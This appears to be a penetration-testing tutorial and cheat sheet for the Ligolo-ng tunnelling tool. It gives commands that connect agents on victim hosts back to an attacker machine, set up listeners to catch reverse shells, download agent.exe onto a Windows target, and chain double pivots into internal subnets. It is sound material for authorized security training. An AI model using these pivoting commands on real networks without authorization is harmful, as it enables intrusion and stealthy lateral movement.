Organizing for Multiple OS#

It’s recommended to create a clean directory structure to store the agents for both Linux and Windows:

1
mkdir -p ligolo-ng/linux
2
mkdir -p ligolo-ng/windows

Downloading the Binaries#

IMPORTANT

From the releases page, right-click on the links for the latest version’s agent and proxy binaries and use wget or curl to download them into your directories. For example, for version 0.8.2:

1
# Download Linux amd64 agent
2
wget -P ligolo-ng/linux https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
3
tar -xzf ligolo-ng/linux/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz -C ligolo-ng/linux
4

5
# Download Windows amd64 agent
6
wget -P ligolo-ng/windows https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_windows_amd64.zip
7
unzip ligolo-ng/windows/ligolo-ng_agent_0.8.2_windows_amd64.zip -d ligolo-ng/windows/

Repeat for the proxy as needed for your attacking platform (most commonly Linux or Windows):

1
# Download Linux amd64 proxy
2
wget -P ligolo-ng/linux https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
3
tar -xzf ligolo-ng/linux/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz -C ligolo-ng/linux

Clean up unnecessary archives (optional):

1
rm ligolo-ng/linux/*.tar.gz
2
rm ligolo-ng/windows/*.zip

Resulting Directory Structure:

1
ligolo-ng/
2
├── linux/
3
│   ├── agent
4
│   └── proxy
5
└── windows/
6
    └── agent.exe

TIP

Always check the latest release for version numbers and copy the actual file links for your target platform.

Now you have a tidy setup with all the required binaries organized for both Linux and Windows agents. You’re ready to proceed with configuration and usage!

Establishing the Ligolo-ng Tunnel#

1
sudo ./proxy -selfcert

1
./agent -connect 10.10.14.7:11601 -ignore-cert

1
session

1
interface_create --name Internal
2
route_add --name Internal --route 192.168.2.0/24
3
tunnel_start --tun Internal

Adding a Listener#

Within the active Ligolo-ng session, you can add a listener like so:

1
listener_add --addr 0.0.0.0:1234 --to 10.10.14.7:4321

• -addr 0.0.0.0:1234 directs the agent (running on the target within the internal network, such as an IP in 192.168.2.0/24) to listen for incoming connections on all its interfaces at port 1234. This means any machine that can reach the agent on port 1234 can connect.
• -to 127.0.0.1:4321 tells Ligolo-ng to forward (bind) any traffic received on 0.0.0.0:1234 at the agent side to 10.10.14.7:4321 on the attacker’s host.

Typical Use Cases#

• Reverse Shells: Listeners allow you to capture incoming reverse shell connections from machines within the internal network.
• File Relays: You can route file transfer traffic through a port bound to your proxy, enabling seamless file movement across networks.
• Exposing Services: Listeners enable access to internal services such as HTTP, SMB, or RDP by forwarding those ports externally via the tunnel, facilitating post-exploitation tasks.

NOTE

If your attacker machine is not directly reachable from the internal network—due to firewall restrictions or routing policies—the listener setup becomes especially valuable. Machines inside the internal subnet (e.g., 192.168.2.0/24) can initiate connections to the agent’s listening port (e.g., port 1234), and you will receive these connections on your local machine (e.g., port 4321) as though you were connected inside the internal network.

This powerful listener capability significantly enhances Ligolo-ng’s flexibility, allowing you to handle a wide range of internal services or connections that you need to pivot or relay. All of this is achieved through a single, unified tunneling infrastructure.

With listeners configured, you can effortlessly capture shells, transfer files, or access internal services as if you were directly connected to the network, enabling efficient and stealthy lateral movement during penetration testing.

Prepare to Transfer the Agent#

Create a Ligolo-ng listener on the Linux target to forward requests for the agent binary back to your attacker machine:

1
listener_add --addr 0.0.0.0:8000 --to 10.10.14.7:8000

This will forward traffic from the Linux target’s port 8000 to the attacker’s port 8000, allowing you to serve the agent binary for download.

Download the Agent on the Windows Target#

On the Windows system, use PowerShell to download the agent from the Linux target’s internal interface:

1
Invoke-WebRequest -Uri "http://192.168.2.5:8000/agent.exe" -OutFile agent.exe

Set Up a Listener for the New Agent Session#

Next, create another listener for the Ligolo-ng agent to connect from Windows, relaying it back to the attacker’s Ligolo-ng proxy:

1
listener_add --addr 0.0.0.0:11601 --to 10.10.14.7:11601

• The --addr 0.0.0.0:11601 part tells the Ligolo-ng agent (running on the target machine) to listen on all network interfaces at port 11601. The IP 0.0.0.0 is a special address that means “listen on every available interface” of the agent, ensuring it accepts connections regardless of which internal IP receives the traffic.
• The --to 10.10.14.7:11601 part specifies the destination address and port to which any incoming connections on the agent will be forwarded. Here, 10.10.14.7:11601 is the attacker machine’s IP and port where the Ligolo-ng proxy is listening.

Start the Agent on the Windows Target#

Execute the agent on the Windows host, specifying the Linux target’s internal interface as the connection point:

1
./agent.exe -connect 192.168.2.5:11601 -ignore-cert

Establish the New Tunnel#

Once the session is visible in the Ligolo-ng interface, select it:

1
session

Configure Internal Network Access#

Create a new tunnel interface, add a route to the next internal segment, and start the tunnel:

1
interface_create --name Internal2
2
route_add --name Internal2 --route 192.168.3.0/24
3
tunnel_start --tun Internal2

You now have access to the 192.168.3.0/24 network segment through a double pivot (attacker → Linux target → Windows target), enabling through internal network exploration and assessment.

This same listener setup process can be repeated as many times as needed to achieve multiple pivoting within complex network environments. By chaining listeners and agents across successive internal hosts and subnets, you can traverse segmented networks layer by layer, expanding your reach and maintaining full control throughout the engagement.

Each pivot point acts as both a relay and a gateway, forwarding traffic back to your attacker machine through secure Ligolo-ng tunnels—enabling advanced lateral movement, deep internal reconnaissance, and flexible post-exploitation workflows.

Configure the Tunnel to Access the Local Web Service#

NOTE

Before configuring the tunnel, ensure you have an active Ligolo-ng session on the correct target host.

To access a web service that is bound to localhost on the remote system (e.g., an IIS server running on 127.0.0.1:8989), set up the tunnel with the following commands:

1
interface_create --name InternalWeb
2
route_add --name InternalWeb --route 240.0.0.1/32
3
tunnel_start --tun InternalWeb

• interface_create: Initializes a new virtual tunnel interface named InternalWeb.

• route_add: Adds a fake route (240.0.0.1/32) that will be used to access the remote service.

• tunnel_start: Starts the tunnel for that interface, allowing traffic to be redirected.

Access the Internal Service#

With this configuration, any requests made to 240.0.0.1:8765 on your attacker machine will be routed through all pivots and reach the internal IIS service at 127.0.0.1:8765 on the Windows target—giving you full access as if you were local to that host.

Ligolo-ng Proxy (Attacker Side)#

1
sudo ./proxy -selfcert

Ligolo-ng Agent (Victim Side)#

1
./agent -connect $IP:$PORT -ignore-cert

Interface Management#

1
interface_create --name $INTERFACE_NAME

1
interface_delete --name $INTERFACE_NAME

Route Management#

1
route_add --name $INTERFACE_NAME --route $INTERFACE

1
route_del --name $INTERFACE_NAME --route $INTERFACE

Tunnel Control#

1
tunnel_start --tun $INTERFACE_NAME

Listener Management#

1
listener_add --addr $IP:$PORT --to $IP:$PORT

1
listener_list

Miscellaneous#

Enable Auto Route#

1
autoroute

Automatically adds routes for known internal networks.

1
ifconfig